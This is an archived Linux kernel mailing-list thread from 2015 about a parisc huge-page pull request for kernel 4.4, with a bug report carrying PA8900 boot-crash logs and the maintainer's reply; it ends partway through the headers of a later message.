 Q3QLPXhLfQyKMlo0XcZgJx4prFAvHc6ynvLEEVU65OsMCNl7IluNbGq3iJos2/wwFyRk24NUz
 LSRYoD3e6V16ViSb9LWX0F6fdT1q4a9mHmB0s4oimetkwXs/6u9/EA5pZlyikdlsgYFSWNhkh
 nKu/dnsraXxS7bSAr1jua6v9NrOmr1OzLUmq8QGVIXcz9zhyobpzwjclEaHX3bm/FPh9JVj15
 Hzg+NFbqdgz/w2BAAVpL816U8OWV+u0IoYwkVHUf91zAGSB/vVcDbpDj0BfrtO1/Xsx3Cj/8R
 hgVQsrmoyBBhGXaZhUdl8QxVPrOEtg3maS6eL0b1NmHJZWFt4pzjsDKDNPUGJ0c/aog9jzYx/
 +mm50YJK+9WonUphJeOucR5nj2cK5y9va+0YBM2clDFXFt57qXfn9tb/uzSaclAwKfrD0Jka9
 odHQMdFPPlDJvhF+PVgcq6EslgHCF+8cFPWfULAnqsEOKZlE3zcaZ1o+hXwzhLWjIL4QHE8WA
 MxxJoeKgLvBhofc7iVAyYK2NNPI5k9b01Ajj4xHfdS5XrSprEfb+CfT/S9WSl5ao6vOPnfoDk
 s9+1FJ8+7mu2LaJIC2lmgF3akGZD80aICgl4jSD8uZPqXxKzMK4TTiXS63azvJtjO8RGIC2Pa
 v6dferXbkuD3U7aj+FMDPcm3jajvGtJinL3bfmuPLgjyrJmICcd5M8D/WYTEFvL38pm1t/fog
 P/MR4XqDOsyLecnJYZYuy4isLblIgMuT6+v0ZBE/KtA3FUE7VUSm+fBSO58=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26164 gmane.linux.kernel:2091002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26164>

Hi Linus,

please pull the latest patches for the parisc architecture for kernel v4.4 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-2

This patchset adds Huge Page and HUGETLBFS support for parisc.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (9):
      parisc: Fix wrong comment regarding first pmd entry flags
      parisc: Drop definition of start_thread_som for HP-UX SOM binaries
      parisc: Drop unused MADV_xxxK_PAGES flags from asm/mman.h
      parisc: Add defines for Huge page support
      parisc: Initialize the fault vector earlier in the boot process.
      parisc: Increase initial kernel mapping to 32MB on 64bit kernel
      parisc: Use long branch to do_syscall_trace_exit
      parisc: Add Huge Page and HUGETLBFS support
      parisc: Map kernel text and data on huge pages

 arch/parisc/Kconfig                 |   3 +
 arch/parisc/include/asm/hugetlb.h   |  85 +++++++++++++++++++
 arch/parisc/include/asm/page.h      |  13 ++-
 arch/parisc/include/asm/pgalloc.h   |   2 +-
 arch/parisc/include/asm/pgtable.h   |  26 +++++-
 arch/parisc/include/asm/processor.h |  27 ------
 arch/parisc/include/uapi/asm/mman.h |  10 ---
 arch/parisc/kernel/asm-offsets.c    |   8 ++
 arch/parisc/kernel/entry.S          |  56 ++++++++-----
 arch/parisc/kernel/head.S           |   4 +-
 arch/parisc/kernel/setup.c          |  14 +++-
 arch/parisc/kernel/syscall.S        |   4 +-
 arch/parisc/kernel/traps.c          |  35 ++++----
 arch/parisc/kernel/vmlinux.lds.S    |   9 +-
 arch/parisc/mm/Makefile             |   1 +
 arch/parisc/mm/hugetlbpage.c        | 161 ++++++++++++++++++++++++++++++++++++
 arch/parisc/mm/init.c               |  40 ++++-----
 17 files changed, 382 insertions(+), 116 deletions(-)
 create mode 100644 arch/parisc/include/asm/hugetlb.h
 create mode 100644 arch/parisc/mm/hugetlbpage.c
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Tue, 24 Nov 2015 10:51:52 -0500 (EST)
Lines: 188
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
References: <20151122115153.GA28471@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1448380322 10481 80.91.229.3 (24 Nov 2015 15:52:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2015 15:52:02 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 24 16:52:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a1Fst-0008Qf-LJ
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Nov 2015 16:52:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751797AbbKXPwA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Nov 2015 10:52:00 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:42037 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751224AbbKXPv7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Nov 2015 10:51:59 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (Postfix) with ESMTPS id 1678CC0F1D0D;
	Tue, 24 Nov 2015 15:51:58 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOFpva2001951
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 24 Nov 2015 10:51:58 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id tAOFpvce019421;
	Tue, 24 Nov 2015 10:51:57 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id tAOFpqZf019266;
	Tue, 24 Nov 2015 10:51:54 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20151122115153.GA28471@p100.box>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26165 gmane.linux.kernel:2092790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26165>



On Sun, 22 Nov 2015, Helge Deller wrote:

> Hi Linus,
> 
> please pull the latest patches for the parisc architecture for kernel v4.4 from:
> 
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-2
> 
> This patchset adds Huge Page and HUGETLBFS support for parisc.
> 
> Thanks,
> Helge
> 
> ----------------------------------------------------------------
> Helge Deller (9):
>       parisc: Fix wrong comment regarding first pmd entry flags
>       parisc: Drop definition of start_thread_som for HP-UX SOM binaries
>       parisc: Drop unused MADV_xxxK_PAGES flags from asm/mman.h
>       parisc: Add defines for Huge page support
>       parisc: Initialize the fault vector earlier in the boot process.
>       parisc: Increase initial kernel mapping to 32MB on 64bit kernel
>       parisc: Use long branch to do_syscall_trace_exit
>       parisc: Add Huge Page and HUGETLBFS support
>       parisc: Map kernel text and data on huge pages
> 
>  arch/parisc/Kconfig                 |   3 +
>  arch/parisc/include/asm/hugetlb.h   |  85 +++++++++++++++++++
>  arch/parisc/include/asm/page.h      |  13 ++-
>  arch/parisc/include/asm/pgalloc.h   |   2 +-
>  arch/parisc/include/asm/pgtable.h   |  26 +++++-
>  arch/parisc/include/asm/processor.h |  27 ------
>  arch/parisc/include/uapi/asm/mman.h |  10 ---
>  arch/parisc/kernel/asm-offsets.c    |   8 ++
>  arch/parisc/kernel/entry.S          |  56 ++++++++-----
>  arch/parisc/kernel/head.S           |   4 +-
>  arch/parisc/kernel/setup.c          |  14 +++-
>  arch/parisc/kernel/syscall.S        |   4 +-
>  arch/parisc/kernel/traps.c          |  35 ++++----
>  arch/parisc/kernel/vmlinux.lds.S    |   9 +-
>  arch/parisc/mm/Makefile             |   1 +
>  arch/parisc/mm/hugetlbpage.c        | 161 ++++++++++++++++++++++++++++++++++++
>  arch/parisc/mm/init.c               |  40 ++++-----
>  17 files changed, 382 insertions(+), 116 deletions(-)
>  create mode 100644 arch/parisc/include/asm/hugetlb.h
>  create mode 100644 arch/parisc/mm/hugetlbpage.c
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

Hi

Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
When I revert this patchset, the crashes are gone.

Mikulas


[    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
[    3.453332] Setting cache flush threshold to 65536 kB
[    3.519999] Not-handled unaligned insn 0x43ffff80
[    3.593332] Setting TLB flush threshold to 52 kB
[   12.069998] random: nonblocking pool is initialized
[   63.869993] INFO: rcu_sched self-detected stall on CPU
[   63.869993]  0-...: (17936 ticks this GP) idle=033/140000000000001/0 softirq=11/11 fqs=8965
[   63.869993]   (t=18000 jiffies g=-293 c=-294 q=0)
[   63.869993] Task dump for CPU 0:
[   63.869993] swapper/0       R  running task        0     1      0 0x00000004
[   63.869993] Backtrace:
[   63.869993]  [<00000000402149a4>] show_stack+0x14/0x20
[   63.869993]  [<000000004026807c>] sched_show_task+0x134/0x1d0
[   63.869993]  [<000000004026a96c>] dump_cpu_task+0x5c/0x78
[   63.869993]  [<000000004028cedc>] rcu_dump_cpu_stacks+0xfc/0x188
[   63.869993]  [<00000000402915b4>] rcu_check_callbacks+0x564/0x980
[   63.869993]  [<0000000040294034>] update_process_times+0x54/0xb0
[   63.869993]  [<0000000040215b2c>] timer_interrupt+0x19c/0x200
[   63.869993]  [<0000000040283de8>] handle_irq_event_percpu+0xa8/0x230
[   63.869993]  [<0000000040288efc>] handle_percpu_irq+0x9c/0xd0
[   63.869993]  [<00000000402831b8>] generic_handle_irq+0x40/0x50
[   63.869993]  [<0000000040216a00>] do_cpu_irq_mask+0x1b8/0x2a8
[   63.869993]  [<0000000040204074>] intr_return+0x0/0xc
[   63.869993]  [<00000000402a69dc>] smp_call_function_many+0x33c/0x3a0
[   63.869993]  [<00000000402a6cc4>] smp_call_function+0x3c/0x50
[   63.869993]  [<00000000402a6d38>] on_each_cpu+0x30/0x78
[   63.869993]  [<0000000040213a24>] flush_cache_all+0x24/0x30
[   63.869993]
[   63.873326] timer_interrupt(CPU 0): delayed! cycles 645CA37E rem 2BD984  next/now 1EE1C3D259/1EE197F8D5
(rs s
Resetting System.

[    3.283333] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online
[    3.436666] Setting cache flush threshold to 65536 kB
[    3.506666] Not-handled unaligned insn 0x43ffff80
[    3.506666] Setting TLB flush threshold to 176 kB
[    3.733332] SBA found Pluto 2.3 at 0xfffffffffed00000
[    3.873332] Unaligned handler failed, ret = -1
[    3.946666]       _______________________________
[    3.946666]      < Your System ate a SPARC! Gah! >
[    3.946666]       -------------------------------
[    3.946666]              \   ^__^
[    3.946666]                  (__)\       )\/\
[    3.946666]                   U  ||----w |
[    3.946666]                      ||     ||
[    4.359999] swapper/3 (pid 0): Unaligned data reference (code 28)
[    4.453332] CPU: 3 PID: 0 Comm: swapper/3 Not tainted 4.4.0-rc2 #1
[    4.549999] task: 000000007fca6900 ti: 000000007fcf4000 task.ti: 000000007fcf4000
[   11.313332]
[   11.313332]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   11.313332] PSW: 00001000000001001111111100000000 Not tainted
** 10665 printk messages dropped ** [   11.333332]  [<000000004020fb60>] schedule_timeout+0x158/0x1f8
** 33399 printk messages dropped ** [   11.396665]  [<000000004020fb60>] schedule_timeout+0x158/0x1f8
** 33416 printk messages dropped ** [   11.469998]  [<00000000402630a4>] deactivate_task+0x84/0xa0
** 32424 printk messages dropped ** [   11.589998]  [<0000000040293f00>] msleep+0x38/0x50
** 29540 printk messages dropped ** [   11.709998]  [<0000000040293f00>] msleep+0x38/0x50
** 29550 printk messages dropped ** [   11.826665] Backtrace:
** 20455 printk messages dropped ** [   11.933332]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
** 31472 printk messages dropped ** [   12.036665]  [<0000000040293f00>] msleep+0x38/0x50
** 29553 printk messages dropped ** [   12.109998]  [<000000004026b5a0>] dequeue_task_idle+0x40/0x60
** 33125 printk messages dropped ** [   12.223332]  [<0000000040293f00>] msleep+0x38/0x50
** 29573 printk messages dropped ** [   12.326665]  [<000000004026b5a0>] dequeue_task_idle+0x40/0x60
** 33122 printk messages dropped ** [   12.446665]  [<000000004020ca64>] schedule+0x44/0xe8
** 30208 printk messages dropped ** [   12.553332]  [<000000004027a5a4>] cpu_startup_entry+0x13c/0x300
** 33750 printk messages dropped ** [   12.776665]  [<000000004020ca64>] schedule+0x44/0xe8
** 30188 printk messages dropped ** [   12.776665]  [<000000004027a5a4>] cpu_startup_entry+0x13c/0x300
** 33724 printk messages dropped ** [   13.006665] Backtrace:
** 20455 printk messages dropped ** [   13.006665]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
** 31454 printk messages dropped ** [   13.126665]  [<000000004021dd60>] handle_unaligned+0x908/0x958
** 33380 printk messages dropped ** [   13.199998]  [<0000000040215350>] handle_interruption+0x338/0x910
** 34395 printk messages dropped ** [   13.429998]  [<000000004020fc24>] schedule_timeout_uninterruptible+0x24/0x30
** 37954 printk messages dropped ** [   13.553331]  [<000000004026b5a0>] dequeue_task_idle+0x40/0x60
** 33004 printk messages dropped ** [   13.553331]  [<000000004020fc24>] schedule_timeout_uninterruptible+0x24/0x30
** 37859 printk messages dropped ** [   13.809998]  [<000000004020fc24>] schedule_timeout_uninterruptible+0x24/0x30
** 37918 printk messages dropped ** [   13.943331]  [<000000004020fb60>] schedule_timeout+0x158/0x1f8
** 33399 printk messages dropped ** [   13.943331]  [<000000004020fb60>] schedule_timeout+0x158/0x1f8
** 33391 printk messages dropped ** [   14.079998] CPU: 3 PID: 0 Comm: swapper/3 Tainted: G      D         4.4.0-rc2 #1
** 39246 printk messages dropped ** [   14.319998]  [<000000004020ca64>] schedule+0x44/0xe8
** 30202 printk messages dropped ** [   14.319998]  [<0000000040293f00>] msleep+0x38/0x50
** 29526 printk messages dropped ** [   14.459998]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
** 31393 printk messages dropped ** [   14.566665]  [<0000000040214bd8>] die_if_kernel+0x220/0x298
** 32365 printk messages dropped ** [   14.673331]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
** 31414 printk messages dropped ** [   14.783331]  [<000000004021dd60>] handle_unaligned+0x908/0x958
** 33411 printk messages dropped ** [   14.899998]  [<000000004026b5a0>] dequeue_task_idle+0x40/0x60
** 33047 printk messages dropped ** [   15.013331]  [<000000004021dd60>] handle_unaligned+0x908/0x958
** 33387 printk messages dropped ** [   15.133331] CPU: 3 PID: 0 Comm: swapper/3 Tainted: G      D         4.4.0-rc2 #1
** 39268 printk messages dropped ** [   15.369998]  [<000000004020fc24>] schedule_timeout_uninterruptible+0x24/0x30
** 37924 printk messages dropped ** [   15.509998]  [<000000004023e5d0>] irq_exit+0x58/0xa0
** 30079 printk messages dropped ** [   15.509998]  [<000000004023e5d0>] irq_exit+0x58/0xa0
** 30107 printk messages dropped ** [   15.646665]  [<00000000402149a4>] show_stack+0x14/0x20
** 30817 printk messages dropped ** [   15.753331] CPU: 3 PID: 0 Comm: swapper/3 Tainted: G      D         4.4.0-rc2 #1
** 39240 printk messages dropped ** [   15.969998] Backtrace:
** 20424 printk messages dropped ** [   15.969998]  [<000000004020c438>] __schedule+0xe8/0x560
** 31127 printk messages dropped ** [   16.109998]  [<000000004023e5d0>] irq_exit+0x58/0xa0
** 30177 printk [   16.1[<00000083331]  00402153[<00000050>] han00402153dle_inte50>] hanrruptiondle_inte+0x338/0rruptionx910
+0x338/00>] handx910
le_unali[   16.1gned+0x983331]  08/0x958[<000000
004023e5d0>] irq_exit+0x58/0xa0
[   16.183331]  [<0000000040204074>] intr_return+0x0/0xc
[   16.183331]  [<000000004027a5a4>] cpu_startup_entry+0x13c/0x300
[   16.183331]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
[   16.183331]
[   16.183331] bad: scheduling from the idle thread!
[   16.183331] CPU: 3 PID: 0 Comm: swapper/3 Tainted: G      D         4.4.0-rc2 #1
[   16.183331] Backtrace:
[   16.183331]  [<00000000402149a4>] show_stack+0x14/0x20
[   16.183331]  [<0000000040410c18>] dump_stack+0x88/0x100
[   16.183331]  [<000000004026b5a0>] dequeue_task_idle+0x40/0x60
[   16.183331]  [<00000000402630a4>] deactivate_task+0x84/0xa0
[   16.183331]  [<000000004020c438>] __schedule+0xe8/0x560
[   16.183331]  [<000000004020ca64>] schedule+0x44/0xe8
[   16.183331]  [<000000004020fb60>] schedule_timeout+0x158/0x1f8
[   16.183331]  [<000000004020fc24>] schedule_timeout_uninterruptible+0x24/0x30
[   16.183331]  [<0000000040293f00>] msleep+0x38/0x50
[   16.183331]  [<0000000040214bd8>] die_if_kernel+0x220/0x298
[   16.183331]  [<000000004021dd60>] handle_unaligned+0x908/0x958
[   16.183331]  [<0000000040215350>] handle_interruption+0x338/0x910
[   16.183331]  [<000000004023e5d0>] irq_exit+0x58/0xa0
[   16.183331]  [<0000000040204074>] intr_return+0x0/0xc
[   16.183331]  [<000000004027a5a4>] cpu_startup_entry+0x13c/0x300
[   16.183331]  [<0000000040104f84>] smp_callin+0x1a4/0x1c0
[   16.183331]

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Tue, 24 Nov 2015 16:58:37 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <5654892D.1030707@gmx.de>
References: <20151122115153.GA28471@p100.box>
 <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1448380761 17982 80.91.229.3 (24 Nov 2015 15:59:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2015 15:59:21 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 24 16:59:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a1Fzt-0005ZO-JJ
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Nov 2015 16:59:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753254AbbKXP7O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Nov 2015 10:59:14 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:49446 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753368AbbKXP6x (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Nov 2015 10:58:53 -0500
Original-Received: from [192.168.20.60] ([92.203.1.112]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MdKkd-1ZkYLr3LCV-00IUYn; Tue, 24 Nov 2015 16:58:40
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:IlcSzzuOS8xEaW0NWJb3753RLAigjbBXAJE3FjYPmBbJ130+ngx
 MKNLvkeC3t0Q0LS7UQgdeIF8OoFAHt5TnzebuKyBhQ3yRIJ/aMCRBFJPTRP4FaEQ2Nt16LV
 hMdoCNvNA5vwqNhPyFC7bgyTy+Ny0QB8JfyXZyLH3H1JJG3dHqrRAgIebpbEE+p1DOyJ8Bg
 Ksgsr60Dw4WdzU52l+F0g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:kjKw3W2v36M=:nqADurfKSgq05tdmpAaDbQ
 EUX3t81An+glm/fFTD6nths75RgohSj2CeLhcn+kSUriy9jOcWcHv2MsYdHK08/ePt/dy3SgF
 F1ekXQnGH4Zy40jLHViaRK7Oz/zZspjGDFa5iZsqGacOVPYjsxrMou0DxnnKVkFcDkVOVC7Ja
 YignkOOzrBFY1j1xlR4x/RofE9z6ABldliFCevGxI+z68Aunm4kevhryR0PhH2aH7K15xLJXp
 gU32hYJg+5875LiAADM0ZKD/gZOn1/aYyDTHcsh5z2ge/rI/5ry84RCrr1XsLiU8V+VRWGpp8
 tP9ykxHifJPrcC8DZThQqrOLGOIzNfQkROgJDbZy/ja+/yL3wswKbo/oV2B/HDH/dhodoLv0/
 AcXMoPxYVPX9FLCVfAnCdV4xOHufGbz03SsiIPEA0nUPlLUuwbXBnEb8fA4kdzrGdquFu0qKh
 4wvxzNVWXqSfLrWCLNqmWTdOb/eCkGyoGZ6MPytui/rHfMj41Down2qQq6W/mTl4LhyZ6JYkn
 KVETwoXAGQ1lS7ZT1cBv5kd5duJn/pXYJdpsX14zwgWYkeBF404ow9HCWWkudDaBk15uyDVLR
 i34dRceu9qnYQmx59TNgg7Gjc9+Nw7Ea4hFI3XFtAAvxzRSGEyJgSmYKfhhh2+rUfUkKM4FYq
 xc5t6oO/swh+ziBd4KvDNU5iH6z/0y48cfR3Nv65HjBYm3KVxyNZJMZ9wsJOEPpBqk1vVG60v
 0PorEMmqDBu9GrN/4TESOQniaUd8SS1tiidvGDyyaxwPmFoRGqwCgtpP3HJ47cLpnqG+ow3T 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26166 gmane.linux.kernel:2092797
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26166>

On 24.11.2015 16:51, Mikulas Patocka wrote:
> On Sun, 22 Nov 2015, Helge Deller wrote:
>> please pull the latest patches for the parisc architecture for kernel v4.4 from:
>>
>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.4-2
>>
>> This patchset adds Huge Page and HUGETLBFS support for parisc.
>>
>> Thanks,
>> Helge
>>
>> ----------------------------------------------------------------
>> Helge Deller (9):
>>       parisc: Fix wrong comment regarding first pmd entry flags
>>       parisc: Drop definition of start_thread_som for HP-UX SOM binaries
>>       parisc: Drop unused MADV_xxxK_PAGES flags from asm/mman.h
>>       parisc: Add defines for Huge page support
>>       parisc: Initialize the fault vector earlier in the boot process.
>>       parisc: Increase initial kernel mapping to 32MB on 64bit kernel
>>       parisc: Use long branch to do_syscall_trace_exit
>>       parisc: Add Huge Page and HUGETLBFS support
>>       parisc: Map kernel text and data on huge pages
>>
>>  arch/parisc/Kconfig                 |   3 +
>>  arch/parisc/include/asm/hugetlb.h   |  85 +++++++++++++++++++
>>  arch/parisc/include/asm/page.h      |  13 ++-
>>  arch/parisc/include/asm/pgalloc.h   |   2 +-
>>  arch/parisc/include/asm/pgtable.h   |  26 +++++-
>>  arch/parisc/include/asm/processor.h |  27 ------
>>  arch/parisc/include/uapi/asm/mman.h |  10 ---
>>  arch/parisc/kernel/asm-offsets.c    |   8 ++
>>  arch/parisc/kernel/entry.S          |  56 ++++++++-----
>>  arch/parisc/kernel/head.S           |   4 +-
>>  arch/parisc/kernel/setup.c          |  14 +++-
>>  arch/parisc/kernel/syscall.S        |   4 +-
>>  arch/parisc/kernel/traps.c          |  35 ++++----
>>  arch/parisc/kernel/vmlinux.lds.S    |   9 +-
>>  arch/parisc/mm/Makefile             |   1 +
>>  arch/parisc/mm/hugetlbpage.c        | 161 ++++++++++++++++++++++++++++++++++++
>>  arch/parisc/mm/init.c               |  40 ++++-----
>>  17 files changed, 382 insertions(+), 116 deletions(-)
>>  create mode 100644 arch/parisc/include/asm/hugetlb.h
>>  create mode 100644 arch/parisc/mm/hugetlbpage.c
> 
> Hi
> 
> Since the kernel 4.4-rc2 I'm getting frequent boot failures on PA-RISC. 
> When I revert this patchset, the crashes are gone.

> [    3.296666] CPU(s): 4 out of 4 PA8900 (Shortfin) at 1000.000000 MHz online

Hi Mikulas,

Yes, I've seen this as well.
It affects only the PA8900 CPUs, while all PA8500-PA8700 machines seem to work fine.
I do have a temporary 3-line patch to avoid the crashes which I'll push to my tree shortly.
I'm still investigating why it only affects the PA8900 CPUs, but I assume
it's related to the cache aliasing of those CPUs.
I'll keep you updated.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc huge page support for v4.4
Date: Tue, 24 Nov 2015 11:39:51 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1511241136440.14442@file01.intranet.prod.int.rdu2.redhat.com>
References: <20151122115153.GA28471@p100.box> <alpine.LRH.2.02.1511241014280.9586@file01.intranet.prod.int.rdu2.redhat.com> <5654892D.1030707@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1448383202 27461 80.91.229.3 (24 Nov 2015 16:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Nov 2015 16:40:02 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 24 17:39:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a1GdF-0003ON-Tb
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Nov 2015 17:39:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753532AbbKXQjz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Nov 2015 11:39:55 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:52195 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753531AbbKXQjy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Nov 2015 11:39:54 -0500
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (Postfix) with ESMTPS id CE0C1A3B5B;
	Tue, 24 Nov 2015 16:39:53 +0000 (UTC)
